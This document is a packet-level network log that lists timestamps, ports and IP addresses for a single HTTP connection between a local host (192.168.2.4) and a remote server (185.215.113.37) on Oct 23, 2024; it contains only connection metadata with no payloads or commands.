Oct 23, 2024 15:48:20.999934912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999934912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999960899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999993086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999999046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000026941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000037909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000037909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000060081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000087023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000087976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000121117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000133991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000133991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000154972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000185966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000200987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000200987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000220060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000231981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000248909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000269890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000282049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000296116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000317097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000349045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000365019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000365019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000381947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000408888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000416040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000451088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000456095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000457048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000480890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000514030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000520945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000547886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000552893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000552893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000581026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000602961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000622988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000648975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000655890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000690937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000704050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000704050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000724077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000756979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000766039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000766039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000788927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000798941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000822067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000854969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000865936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000865936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000886917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000893116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000920057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000932932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000953913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000983953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.000987053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.000998974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001020908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001055002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001068115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001068115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001087904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001121044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001135111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001135111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001156092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001188993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001194954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001194954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001225948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001257896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001270056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001270056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001291990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001328945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001336098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001336098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001362085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001375914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001394033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001415968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001426935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001458883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001475096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001475096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001492023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001526117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001554012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001554012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001558065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001574039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001590967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001614094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001626968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001636982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001660109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001693964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001703978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001703978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001725912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001737118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001760006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001792908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001804113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001804113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001827002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001859903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001863956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001873016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001898050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001904011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001931906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.001952887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.001964092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.002005100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.002005100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.113869905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.113950014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.113954067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.113989115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114017010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114025116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114062071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114089966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114095926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114131927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114141941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114141941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114166021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114185095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114202023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114228964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114245892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114293098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114293098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114301920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114351988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114387035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114399910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114399910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114418983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114453077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114463091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114463091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114490032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114495039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114525080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114545107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114558935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114593983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114643097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114694118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114726067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114726067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114726067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114727974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114762068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114773989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114773989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114797115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114850998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114883900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114895105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114895105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114917994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114932060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.114952087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.114975929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115003109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115036964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115050077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115050077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115083933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115084887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115139008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115145922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115180969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115206003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115233898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115262985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115276098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115276098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115299940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115334988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115350008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115380049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115412951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115446091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115451097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115451097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115478992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115499020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115524054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115530014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115565062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115587950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115597010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115612984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115627050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115667105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115679979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115688086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115724087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115734100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115761042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115793943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115823984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115823984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115844011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115878105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115900040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115907907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115931988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115945101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.115947008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.115997076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116002083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116055012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116087914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116103888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116103888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116121054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116149902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116158009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116188049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116194010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116214037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116247892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116281033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116297007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116337061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116370916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116413116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116413116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116421938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116472006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116497993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116506100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116539001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116549015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116549015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116579056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116614103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116640091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116640091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116647959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116671085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116681099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116718054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116718054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116733074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116767883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116801023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116810083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116810083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116836071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116868973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116875887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116875887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116899014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116914988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116940975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.116951942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.116986036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117018938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117027998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117027998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117053032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117074013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117105007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117139101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117150068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117150068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117173910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117197990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117224932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117224932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117268085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117280006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117305040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117345095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117347002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117347002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117427111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117449045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117460966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117489100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117512941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117557049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117557049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117564917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117604017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117636919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117645025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117645025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117671013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117706060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117706060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117719889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117755890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117789030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117798090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117798090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117837906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117841005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117875099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117887974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117908001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117944956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.117949963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117949963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.117978096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118010998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118022919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118022919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118046045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118092060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118092060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118097067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118132114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118141890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118180990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118185997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118216038 CEST	80	49730	185.215.113.37	192.168.2.4
